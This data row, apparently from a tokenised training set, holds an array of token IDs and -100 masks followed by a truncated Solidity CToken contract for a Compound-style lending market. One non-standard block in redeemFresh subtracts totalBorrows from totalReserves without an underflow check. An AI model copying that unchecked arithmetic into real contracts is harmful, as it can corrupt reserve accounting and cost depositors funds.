21,
6487,
84,
21,
18,
61,
63,
20,
6487,
84,
21,
18,
61,
63,
21,
6487,
84,
22,
18,
60,
63,
20,
6487,
84,
22,
18,
60,
63,
21,
6487,
84,
22,
18,
61,
63,
20,
6487,
84,
22,
18,
61,
63,
21,
19226,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./ComptrollerInterface.sol";
import "./CTokenInterfaces.sol";
import "./ErrorReporter.sol";
import "./Exponential.sol";
import "./EIP20Interface.sol";
import "./EIP20NonStandardInterface.sol";
import "./InterestRateModel.sol";
/**
* @title Compound's CToken Contract
* @notice Abstract base for CTokens
* @author Compound
*/
abstract contract CToken is CTokenInterface, Exponential, TokenErrorReporter {
/**
* @notice Initialize the money market
* @param comptroller_ The address of the Comptroller
* @param interestRateModel_ The address of the interest rate model
* @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18
* @param name_ EIP-20 name of this token
* @param symbol_ EIP-20 symbol of this token
* @param decimals_ EIP-20 decimal precision of this token
*/
function initialize(ComptrollerInterface comptroller_,
InterestRateModel interestRateModel_,
uint initialExchangeRateMantissa_,
string memory name_,
string memory symbol_,
uint8 decimals_) public {
require(msg.sender == admin, "only admin may initialize the market");
require(accrualBlockNumber == 0 && borrowIndex == 0, "market may only be initialized once");
// Set initial exchange rate
initialExchangeRateMantissa = initialExchangeRateMantissa_;
require(initialExchangeRateMantissa > 0, "initial exchange rate must be greater than zero.");
// Set the comptroller
uint err = _setComptroller(comptroller_);
require(err == uint(Error.NO_ERROR), "setting comptroller failed");
// Initialize block number and borrow index (block number mocks depend on comptroller being set)
accrualBlockNumber = getBlockNumber();
borrowIndex = mantissaOne;
// Set the interest rate model (depends on block number / borrow index)
err = _setInterestRateModelFresh(interestRateModel_);
require(err == uint(Error.NO_ERROR), "setting interest rate model failed");
name = name_;
symbol = symbol_;
decimals = decimals_;
// The counter starts true to prevent changing it from zero to non-zero (i.e. smaller cost/refund)
_notEntered = true;
}
/**
* @notice Transfer `tokens` tokens from `src` to `dst` by `spender`
* @dev Called by both `transfer` and `transferFrom` internally
* @param spender The address of the account performing the transfer
* @param src The address of the source account
* @param dst The address of the destination account
* @param tokens The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferTokens(address spender, address src, address dst, uint tokens) internal returns (uint) {
/* Fail if transfer not allowed */
uint allowed = comptroller.transferAllowed(address(this), src, dst, tokens);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.TRANSFER_COMPTROLLER_REJECTION, allowed);
}
/* Do not allow self-transfers */
if (src == dst) {
return fail(Error.BAD_INPUT, FailureInfo.TRANSFER_NOT_ALLOWED);
}
/* Get the allowance, infinite for the account owner */
uint startingAllowance = 0;
if (spender == src) {
startingAllowance = uint(-1);
} else {
startingAllowance = transferAllowances[src][spender];
}
/* Do the calculations, checking for {under,over}flow */
MathError mathErr;
uint allowanceNew;
uint srcTokensNew;
uint dstTokensNew;
(mathErr, allowanceNew) = subUInt(startingAllowance, tokens);
if (mathErr != MathError.NO_ERROR) {
return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ALLOWED);
}
(mathErr, srcTokensNew) = subUInt(accountTokens[src], tokens);
if (mathErr != MathError.NO_ERROR) {
return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ENOUGH);
}
(mathErr, dstTokensNew) = addUInt(accountTokens[dst], tokens);
if (mathErr != MathError.NO_ERROR) {
return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_TOO_MUCH);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
accountTokens[src] = srcTokensNew;
accountTokens[dst] = dstTokensNew;
/* Eat some of the allowance (if necessary) */
if (startingAllowance != uint(-1)) {
transferAllowances[src][spender] = allowanceNew;
}
/* We emit a Transfer event */
emit Transfer(src, dst, tokens);
comptroller.transferVerify(address(this), src, dst, tokens);
return uint(Error.NO_ERROR);
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount) external override nonReentrant returns (bool) {
return transferTokens(msg.sender, msg.sender, dst, amount) == uint(Error.NO_ERROR);
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint256 amount) external override nonReentrant returns (bool) {
return transferTokens(msg.sender, src, dst, amount) == uint(Error.NO_ERROR);
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external override returns (bool) {
address src = msg.sender;
transferAllowances[src][spender] = amount;
emit Approval(src, spender, amount);
return true;
}
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(address owner, address spender) external override view returns (uint256) {
return transferAllowances[owner][spender];
}
/**
* @notice Get the token balance of the `owner`
* @param owner The address of the account to query
* @return The number of tokens owned by `owner`
*/
function balanceOf(address owner) external override view returns (uint256) {
return accountTokens[owner];
}
/**
* @notice Get the underlying balance of the `owner`
* @dev This also accrues interest in a transaction
* @param owner The address of the account to query
* @return The amount of underlying owned by `owner`
*/
function balanceOfUnderlying(address owner) external override returns (uint) {
Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()});
(MathError mErr, uint balance) = mulScalarTruncate(exchangeRate, accountTokens[owner]);
require(mErr == MathError.NO_ERROR, "balance could not be calculated");
return balance;
}
/**
* @notice Get a snapshot of the account's balances, and the cached exchange rate
* @dev This is used by comptroller to more efficiently perform liquidity checks.
* @param account Address of the account to snapshot
* @return (possible error, token balance, borrow balance, exchange rate mantissa)
*/
function getAccountSnapshot(address account) external override view returns (uint, uint, uint, uint) {
uint cTokenBalance = accountTokens[account];
uint borrowBalance;
uint exchangeRateMantissa;
MathError mErr;
(mErr, borrowBalance) = borrowBalanceStoredInternal(account);
if (mErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0, 0, 0);
}
(mErr, exchangeRateMantissa) = exchangeRateStoredInternal();
if (mErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0, 0, 0);
}
return (uint(Error.NO_ERROR), cTokenBalance, borrowBalance, exchangeRateMantissa);
}
/**
* @dev Function to simply retrieve block number
* This exists mainly for inheriting test contracts to stub this result.
*/
function getBlockNumber() internal view returns (uint) {
return block.number;
}
/**
* @notice Returns the current per-block borrow interest rate for this cToken
* @return The borrow interest rate per block, scaled by 1e18
*/
function borrowRatePerBlock() external override view returns (uint) {
return interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves);
}
/**
* @notice Returns the current per-block supply interest rate for this cToken
* @return The supply interest rate per block, scaled by 1e18
*/
function supplyRatePerBlock() external override view returns (uint) {
return interestRateModel.getSupplyRate(getCashPrior(), totalBorrows, totalReserves, reserveFactorMantissa);
}
/**
* @notice Returns the current total borrows plus accrued interest
* @return The total borrows with interest
*/
function totalBorrowsCurrent() external override nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
return totalBorrows;
}
/**
* @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex
* @param account The address whose balance should be calculated after updating borrowIndex
* @return The calculated balance
*/
function borrowBalanceCurrent(address account) external override nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
return borrowBalanceStored(account);
}
/**
* @notice Return the borrow balance of account based on stored data
* @param account The address whose balance should be calculated
* @return The calculated balance
*/
function borrowBalanceStored(address account) public override view returns (uint) {
(MathError err, uint result) = borrowBalanceStoredInternal(account);
require(err == MathError.NO_ERROR, "borrowBalanceStored: borrowBalanceStoredInternal failed");
return result;
}
/**
* @notice Return the borrow balance of account based on stored data
* @param account The address whose balance should be calculated
* @return (error code, the calculated balance or 0 if error code is non-zero)
*/
function borrowBalanceStoredInternal(address account) internal view returns (MathError, uint) {
/* Note: we do not assert that the market is up to date */
MathError mathErr;
uint principalTimesIndex;
uint result;
/* Get borrowBalance and borrowIndex */
BorrowSnapshot storage borrowSnapshot = accountBorrows[account];
/* If borrowBalance = 0 then borrowIndex is likely also 0.
* Rather than failing the calculation with a division by 0, we immediately return 0 in this case.
*/
if (borrowSnapshot.principal == 0) {
return (MathError.NO_ERROR, 0);
}
/* Calculate new borrow balance using the interest index:
* recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex
*/
(mathErr, principalTimesIndex) = mulUInt(borrowSnapshot.principal, borrowIndex);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
(mathErr, result) = divUInt(principalTimesIndex, borrowSnapshot.interestIndex);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
return (MathError.NO_ERROR, result);
}
/**
* @notice Accrue interest then return the up-to-date exchange rate
* @return Calculated exchange rate scaled by 1e18
*/
function exchangeRateCurrent() public override nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
return exchangeRateStored();
}
/**
* @notice Calculates the exchange rate from the underlying to the CToken
* @dev This function does not accrue interest before calculating the exchange rate
* @return Calculated exchange rate scaled by 1e18
*/
function exchangeRateStored() public override view returns (uint) {
(MathError err, uint result) = exchangeRateStoredInternal();
require(err == MathError.NO_ERROR, "exchangeRateStored: exchangeRateStoredInternal failed");
return result;
}
/**
* @notice Calculates the exchange rate from the underlying to the CToken
* @dev This function does not accrue interest before calculating the exchange rate
* @return (error code, calculated exchange rate scaled by 1e18)
*/
function exchangeRateStoredInternal() internal view returns (MathError, uint) {
uint _totalSupply = totalSupply;
if (_totalSupply == 0) {
/*
* If there are no tokens minted:
* exchangeRate = initialExchangeRate
*/
return (MathError.NO_ERROR, initialExchangeRateMantissa);
} else {
/*
* Otherwise:
* exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply
*/
uint totalCash = getCashPrior();
uint cashPlusBorrowsMinusReserves;
Exp memory exchangeRate;
MathError mathErr;
(mathErr, cashPlusBorrowsMinusReserves) = addThenSubUInt(totalCash, totalBorrows, totalReserves);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
(mathErr, exchangeRate) = getExp(cashPlusBorrowsMinusReserves, _totalSupply);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
return (MathError.NO_ERROR, exchangeRate.mantissa);
}
}
/**
* @notice Get cash balance of this cToken in the underlying asset
* @return The quantity of underlying asset owned by this contract
*/
function getCash() external override view returns (uint) {
return getCashPrior();
}
/**
* @notice Applies accrued interest to total borrows and reserves
* @dev This calculates interest accrued from the last checkpointed block
* up to the current block and writes new checkpoint to storage.
*/
function accrueInterest() override public returns (uint) {
/* Remember the initial block number */
uint currentBlockNumber = getBlockNumber();
uint accrualBlockNumberPrior = accrualBlockNumber;
/* Short-circuit accumulating 0 interest */
if (accrualBlockNumberPrior == currentBlockNumber) {
return uint(Error.NO_ERROR);
}
/* Read the previous values out of storage */
uint cashPrior = getCashPrior();
uint borrowsPrior = totalBorrows;
uint reservesPrior = totalReserves;
uint borrowIndexPrior = borrowIndex;
/* Calculate the current borrow interest rate */
uint borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior);
require(borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high");
/* Calculate the number of blocks elapsed since the last accrual */
(MathError mathErr, uint blockDelta) = subUInt(currentBlockNumber, accrualBlockNumberPrior);
require(mathErr == MathError.NO_ERROR, "could not calculate block delta");
/*
* Calculate the interest accumulated into borrows and reserves and the new index:
* simpleInterestFactor = borrowRate * blockDelta
* interestAccumulated = simpleInterestFactor * totalBorrows
* totalBorrowsNew = interestAccumulated + totalBorrows
* totalReservesNew = interestAccumulated * reserveFactor + totalReserves
* borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex
*/
Exp memory simpleInterestFactor;
uint interestAccumulated;
uint totalBorrowsNew;
uint totalReservesNew;
uint borrowIndexNew;
(mathErr, simpleInterestFactor) = mulScalar(Exp({mantissa: borrowRateMantissa}), blockDelta);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, uint(mathErr));
}
(mathErr, interestAccumulated) = mulScalarTruncate(simpleInterestFactor, borrowsPrior);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, uint(mathErr));
}
(mathErr, totalBorrowsNew) = addUInt(interestAccumulated, borrowsPrior);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, uint(mathErr));
}
(mathErr, totalReservesNew) = mulScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), interestAccumulated, reservesPrior);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, uint(mathErr));
}
(mathErr, borrowIndexNew) = mulScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, uint(mathErr));
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We write the previously calculated values into storage */
accrualBlockNumber = currentBlockNumber;
borrowIndex = borrowIndexNew;
totalBorrows = totalBorrowsNew;
totalReserves = totalReservesNew;
/* We emit an AccrueInterest event */
emit AccrueInterest(cashPrior, interestAccumulated, borrowIndexNew, totalBorrowsNew);
return uint(Error.NO_ERROR);
}
/**
* @notice Sender supplies assets into the market and receives cTokens in exchange
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param mintAmount The amount of the underlying asset to supply
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount.
*/
function mintInternal(uint mintAmount) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return (fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED), 0);
}
// mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to
return mintFresh(msg.sender, mintAmount);
}
struct MintLocalVars {
Error err;
MathError mathErr;
uint exchangeRateMantissa;
uint mintTokens;
uint totalSupplyNew;
uint accountTokensNew;
uint actualMintAmount;
}
/**
* @notice User supplies assets into the market and receives cTokens in exchange
* @dev Assumes interest has already been accrued up to the current block
* @param minter The address of the account which is supplying the assets
* @param mintAmount The amount of the underlying asset to supply
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount.
*/
function mintFresh(address minter, uint mintAmount) internal returns (uint, uint) {
/* Fail if mint not allowed */
uint allowed = comptroller.mintAllowed(address(this), minter, mintAmount);
if (allowed != 0) {
return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.MINT_COMPTROLLER_REJECTION, allowed), 0);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.MINT_FRESHNESS_CHECK), 0);
}
MintLocalVars memory vars;
(vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal();
if (vars.mathErr != MathError.NO_ERROR) {
return (failOpaque(Error.MATH_ERROR, FailureInfo.MINT_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr)), 0);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We call `doTransferIn` for the minter and the mintAmount.
* Note: The cToken must handle variations between ERC-20 and ETH underlying.
* `doTransferIn` reverts if anything goes wrong, since we can't be sure if
* side-effects occurred. The function returns the amount actually transferred,
* in case of a fee. On success, the cToken holds an additional `actualMintAmount`
* of cash.
*/
vars.actualMintAmount = doTransferIn(minter, mintAmount);
/*
* We get the current exchange rate and calculate the number of cTokens to be minted:
* mintTokens = actualMintAmount / exchangeRate
*/
(vars.mathErr, vars.mintTokens) = divScalarByExpTruncate(vars.actualMintAmount, Exp({mantissa: vars.exchangeRateMantissa}));
require(vars.mathErr == MathError.NO_ERROR, "MINT_EXCHANGE_CALCULATION_FAILED");
/*
* We calculate the new total supply of cTokens and minter token balance, checking for overflow:
* totalSupplyNew = totalSupply + mintTokens
* accountTokensNew = accountTokens[minter] + mintTokens
*/
(vars.mathErr, vars.totalSupplyNew) = addUInt(totalSupply, vars.mintTokens);
require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED");
(vars.mathErr, vars.accountTokensNew) = addUInt(accountTokens[minter], vars.mintTokens);
require(vars.mathErr == MathError.NO_ERROR, "MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED");
/* We write previously calculated values into storage */
totalSupply = vars.totalSupplyNew;
accountTokens[minter] = vars.accountTokensNew;
/* We emit a Mint event, and a Transfer event */
emit Mint(minter, vars.actualMintAmount, vars.mintTokens);
emit Transfer(address(this), minter, vars.mintTokens);
/* We call the defense hook */
comptroller.mintVerify(address(this), minter, vars.actualMintAmount, vars.mintTokens);
return (uint(Error.NO_ERROR), vars.actualMintAmount);
}
/**
* @notice Sender redeems cTokens in exchange for the underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemTokens The number of cTokens to redeem into underlying
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemInternal(uint redeemTokens) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed
return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);
}
// redeemFresh emits redeem-specific logs on errors, so we don't need to
return redeemFresh(msg.sender, redeemTokens, 0);
}
/**
* @notice Sender redeems cTokens in exchange for a specified amount of underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemAmount The amount of underlying to receive from redeeming cTokens
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemUnderlyingInternal(uint redeemAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed
return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);
}
// redeemFresh emits redeem-specific logs on errors, so we don't need to
return redeemFresh(msg.sender, 0, redeemAmount);
}
struct RedeemLocalVars {
Error err;
MathError mathErr;
uint exchangeRateMantissa;
uint redeemTokens;
uint redeemAmount;
uint totalSupplyNew;
uint accountTokensNew;
}
/**
* @notice User redeems cTokens in exchange for the underlying asset
* @dev Assumes interest has already been accrued up to the current block
* @param redeemer The address of the account which is redeeming the tokens
* @param redeemTokensIn The number of cTokens to redeem into underlying (only one of redeemTokensIn or redeemAmountIn may be non-zero)
* @param redeemAmountIn The number of underlying tokens to receive from redeeming cTokens (only one of redeemTokensIn or redeemAmountIn may be non-zero)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemFresh(address payable redeemer, uint redeemTokensIn, uint redeemAmountIn) internal returns (uint) {
require(redeemTokensIn == 0 || redeemAmountIn == 0, "one of redeemTokensIn or redeemAmountIn must be zero");
RedeemLocalVars memory vars;
/* exchangeRate = invoke Exchange Rate Stored() */
(vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal();
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr));
}
/* If redeemTokensIn > 0: */
if (redeemTokensIn > 0) {
/*
* We calculate the exchange rate and the amount of underlying to be redeemed:
* redeemTokens = redeemTokensIn
* redeemAmount = redeemTokensIn x exchangeRateCurrent
*/
vars.redeemTokens = redeemTokensIn;
(vars.mathErr, vars.redeemAmount) = mulScalarTruncate(Exp({mantissa: vars.exchangeRateMantissa}), redeemTokensIn);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, uint(vars.mathErr));
}
} else {
/*
* We get the current exchange rate and calculate the amount to be redeemed:
* redeemTokens = redeemAmountIn / exchangeRate
* redeemAmount = redeemAmountIn
*/
(vars.mathErr, vars.redeemTokens) = divScalarByExpTruncate(redeemAmountIn, Exp({mantissa: vars.exchangeRateMantissa}));
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, uint(vars.mathErr));
}
vars.redeemAmount = redeemAmountIn;
}
/* Fail if redeem not allowed */
uint allowed = comptroller.redeemAllowed(address(this), redeemer, vars.redeemTokens);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REDEEM_COMPTROLLER_REJECTION, allowed);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDEEM_FRESHNESS_CHECK);
}
/*
* We calculate the new total supply and redeemer balance, checking for underflow:
* totalSupplyNew = totalSupply - redeemTokens
* accountTokensNew = accountTokens[redeemer] - redeemTokens
*/
(vars.mathErr, vars.totalSupplyNew) = subUInt(totalSupply, vars.redeemTokens);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.accountTokensNew) = subUInt(accountTokens[redeemer], vars.redeemTokens);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
/* Fail gracefully if protocol has insufficient cash */
if (getCashPrior() < vars.redeemAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDEEM_TRANSFER_OUT_NOT_POSSIBLE);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We write previously calculated values into storage */
totalSupply = vars.totalSupplyNew;
accountTokens[redeemer] = vars.accountTokensNew;
if (totalSupply == 0 && totalBorrows > 0) {
totalReserves = totalReserves - totalBorrows;
totalBorrows = 0;
}
/*
* We invoke doTransferOut for the redeemer and the redeemAmount.
* Note: The cToken must handle variations between ERC-20 and ETH underlying.
* On success, the cToken has redeemAmount less of cash.
* doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
*/
doTransferOut(redeemer, vars.redeemAmount);
/* We emit a Transfer event, and a Redeem event */
emit Transfer(redeemer, address(this), vars.redeemTokens);
emit Redeem(redeemer, vars.redeemAmount, vars.redeemTokens);
/* We call the defense hook */
comptroller.redeemVerify(address(this), redeemer, vars.redeemAmount, vars.redeemTokens);
return uint(Error.NO_ERROR);
}
/**
* @notice Sender borrows assets from the protocol to their own address
* @param borrowAmount The amount of the underlying asset to borrow
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrowInternal(uint borrowAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED);
}
// borrowFresh emits borrow-specific logs on errors, so we don't need to
return borrowFresh(msg.sender, borrowAmount);
}
struct BorrowLocalVars {
MathError mathErr;
uint accountBorrows;
uint accountBorrowsNew;
uint totalBorrowsNew;
}
/**
* @notice Users borrow assets from the protocol to their own address
* @param borrowAmount The amount of the underlying asset to borrow
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) {
/* Fail if borrow not allowed */
uint allowed = comptroller.borrowAllowed(address(this), borrower, borrowAmount);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.BORROW_COMPTROLLER_REJECTION, allowed);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.BORROW_FRESHNESS_CHECK);
}
/* Fail gracefully if protocol has insufficient underlying cash */
if (getCashPrior() < borrowAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_CASH_NOT_AVAILABLE);
}
BorrowLocalVars memory vars;
/*
* We calculate the new borrower and total borrow balances, failing on overflow:
* accountBorrowsNew = accountBorrows + borrowAmount
* totalBorrowsNew = totalBorrows + borrowAmount
*/
(vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.accountBorrowsNew) = addUInt(vars.accountBorrows, borrowAmount);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.totalBorrowsNew) = addUInt(totalBorrows, borrowAmount);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We write the previously calculated values into storage */
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;
/*
* We invoke doTransferOut for the borrower and the borrowAmount.
* Note: The cToken must handle variations between ERC-20 and ETH underlying.
* On success, the cToken borrowAmount less of cash.
* doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
*/
doTransferOut(borrower, borrowAmount);
/* We emit a Borrow event */
emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew);
/* We call the defense hook */
comptroller.borrowVerify(address(this), borrower, borrowAmount);
return uint(Error.NO_ERROR);
}
/**
* @notice Sender repays their own borrow
* @param repayAmount The amount to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayBorrowInternal(uint repayAmount) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return (fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED), 0);
}
// repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to
return repayBorrowFresh(msg.sender, msg.sender, repayAmount);
}
/**
* @notice Sender repays a borrow belonging to borrower
* @param borrower the account with the debt being payed off
* @param repayAmount The amount to repay
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual repayment amount.
*/
function repayBorrowBehalfInternal(address borrower, uint repayAmount) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return (fail(Error(error), FailureInfo.REPAY_BEHALF_ACCRUE_INTEREST_FAILED), 0);
}
// repayBorrowFresh emits repay-borrow-specific logs on errors, so we don't need to
return repayBorrowFresh(msg.sender, borrower, repayAmount);
}
struct RepayBorrowLocalVars {
Error err;
MathError mathErr;
uint repayAmount;
uint borrowerIndex;
uint accountBorrows;
uint accountBorrowsNew;
uint totalBorrowsNew;
uint actualRepayAmount;
}
/**
* @notice Borrows are repaid by another user (possibly the borrower).
* @param payer the account paying off the borrow
* @param borrower the account with the debt being payed off
* @param repayAmount the amount of undelrying tokens being returned
